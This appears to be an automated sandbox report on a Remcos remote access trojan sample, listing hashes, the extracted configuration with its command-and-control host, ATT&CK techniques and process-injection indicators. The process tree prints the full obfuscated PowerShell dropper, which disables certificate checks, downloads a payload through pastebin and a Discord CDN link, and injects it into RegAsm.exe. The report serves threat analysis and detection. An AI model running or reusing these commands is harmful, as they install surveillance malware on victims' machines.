remcos | 5e519ab2640c9d1065a0e7610661fcd83e2e38869d48768fcd1b674b3804dd0f

Analysis

max time kernel
50s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240910-en
resource tags

arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 14:43

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General

Target

sostener.vbs
Size

1.6MB
MD5

76dc07a863d93237819c1e08c5bb0eef
SHA1

fc7e6a1ef7679f7461ae8b34987b46dc118cc4bb
SHA256

5e519ab2640c9d1065a0e7610661fcd83e2e38869d48768fcd1b674b3804dd0f
SHA512

9538b37d31fcb53e968ce7e69c13166e3f4f16fada79b9bac91ec2de012ed5b2642e6e380591c9716e9ae8d8f1149b7492e06c291bb8ec6a234af47daf95b51e
SSDEEP

192:9PmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPPmPPPPPPGPmPPPP7:IeGsXcpR

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

rem0324.duckdns.org:1213

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-WGH0X6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	4500	powershell.exe
10	4500	powershell.exe
12	4500	powershell.exe
18	4500	powershell.exe
34	4500	powershell.exe
39	4500	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4180	powershell.exe
4500	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
12	bitbucket.org
6	pastebin.com
10	pastebin.com
11	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4500 set thread context of 3504	4500	powershell.exe	96

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	RegAsm.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000_Classes\Local Settings	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4180	powershell.exe
4180	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3504	RegAsm.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1240 wrote to memory of 4180	1240	WScript.exe	86
PID 1240 wrote to memory of 4180	1240	WScript.exe	86
PID 4180 wrote to memory of 4500	4180	powershell.exe	88
PID 4180 wrote to memory of 4500	4180	powershell.exe	88
PID 4500 wrote to memory of 2868	4500	powershell.exe	93
PID 4500 wrote to memory of 2868	4500	powershell.exe	93
PID 4500 wrote to memory of 2868	4500	powershell.exe	93
PID 4500 wrote to memory of 1880	4500	powershell.exe	94
PID 4500 wrote to memory of 1880	4500	powershell.exe	94
PID 4500 wrote to memory of 1880	4500	powershell.exe	94
PID 4500 wrote to memory of 4836	4500	powershell.exe	95
PID 4500 wrote to memory of 4836	4500	powershell.exe	95
PID 4500 wrote to memory of 4836	4500	powershell.exe	95
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 4500 wrote to memory of 3504	4500	powershell.exe	96
PID 3504 wrote to memory of 4360	3504	RegAsm.exe	102
PID 3504 wrote to memory of 4360	3504	RegAsm.exe	102
PID 3504 wrote to memory of 4360	3504	RegAsm.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bq☆GU☆egB0☆HM☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆G8☆YgB0☆G4☆aw☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆HU☆e☆B4☆Gc☆Yg☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆B1☆Hg☆e☆Bn☆GI☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆CY☆ZgBi☆Dc☆Mw☆w☆DU☆Mw☆w☆DU☆M☆☆x☆GE☆YQBi☆GI☆M☆☆2☆Dc☆OQ☆2☆Dc☆Yg☆2☆DY☆O☆☆z☆GI☆O☆☆w☆DQ☆N☆☆4☆GU☆Z☆☆1☆Dg☆Mg☆5☆GY☆N☆☆4☆GI☆MQBl☆DM☆Yw☆4☆GQ☆M☆Bl☆GY☆Mw☆2☆DY☆Mw☆y☆DE☆O☆☆0☆DE☆ZQ☆1☆GI☆Ng☆9☆G0☆a☆☆m☆Dc☆YgBk☆D☆☆N☆Bm☆DY☆Ng☆9☆HM☆aQ☆m☆Dc☆MwBm☆DU☆NQBm☆DY☆Ng☆9☆Hg☆ZQ☆/☆HQ☆e☆B0☆C4☆OQ☆w☆DU☆MgBz☆G8☆Uw☆v☆Dk☆NQ☆5☆DU☆M☆☆y☆DU☆OQ☆4☆DM☆O☆☆4☆Dk☆O☆☆0☆Dg☆O☆☆y☆DE☆Lw☆2☆DE☆O☆☆z☆D☆☆MQ☆5☆DE☆O☆☆4☆DI☆O☆☆0☆DY☆Mw☆1☆DE☆Mg☆x☆C8☆cwB0☆G4☆ZQBt☆Gg☆YwBh☆HQ☆d☆Bh☆C8☆bQBv☆GM☆LgBw☆H☆☆YQBk☆HI☆bwBj☆HM☆aQBk☆C4☆bgBk☆GM☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆Bv☆GI☆d☆Bu☆Gs☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆dQBq☆HM☆d☆Bn☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆C0☆LQ☆t☆C0☆LQ☆t☆C0☆Jw☆s☆C☆☆J☆Bq☆GU☆egB0☆HM☆L☆☆g☆Cc☆MQ☆n☆Cw☆I☆☆n☆FI☆bwBk☆GE☆Jw☆g☆Ck☆KQ☆7☆☆==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$jezts = '0';$obtnk = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $uxxgb = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($uxxgb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('&fb730530501aabb067967b6683b80448ed5829f48b1e3c8d0ef366321841e5b6=mh&7bd04f66=si&73f55f66=xe?txt.9052soS/9595025983889848821/6183019188284635121/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $obtnk , '_____ujstg_______________________________________-------', $jezts, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2868
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:1880
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4836
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Checks computer location settings
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3504
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zezcohty.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c2gyaqtv.02k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zezcohty.vbs

Filesize
544B

MD5
4196262905f64f1dd00381f882d1e2c4

SHA1
325434edd2f6930f987de42e51228ca348745413

SHA256
0b3cbde8778e4f47322ca017b5280f6eed3cd6f327b436eea4e91fbeb364a092

SHA512
c3367ac15a473485aceafbe52aa591e33fb67dff21896b936173db78d2889f9ee200ce4b7d78ede67bc471433444dea1c4cb36013cda7f6f9f7df3416bb1aa73

Download Submit
memory/3504-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-30-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3504-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4180-11-0x00007FFFB8BE0000-0x00007FFFB96A1000-memory.dmp

Filesize
10.8MB

Download
memory/4180-0-0x00007FFFB8BE3000-0x00007FFFB8BE5000-memory.dmp

Filesize
8KB

Download
memory/4180-37-0x00007FFFB8BE0000-0x00007FFFB96A1000-memory.dmp

Filesize
10.8MB

Download
memory/4180-12-0x00007FFFB8BE0000-0x00007FFFB96A1000-memory.dmp

Filesize
10.8MB

Download
memory/4180-10-0x00000225FF6A0000-0x00000225FF6C2000-memory.dmp

Filesize
136KB

Download
memory/4500-22-0x00000200C2DF0000-0x00000200C2DFA000-memory.dmp

Filesize
40KB

Download
memory/4500-23-0x00000200C2E00000-0x00000200C2E0A000-memory.dmp

Filesize
40KB

Download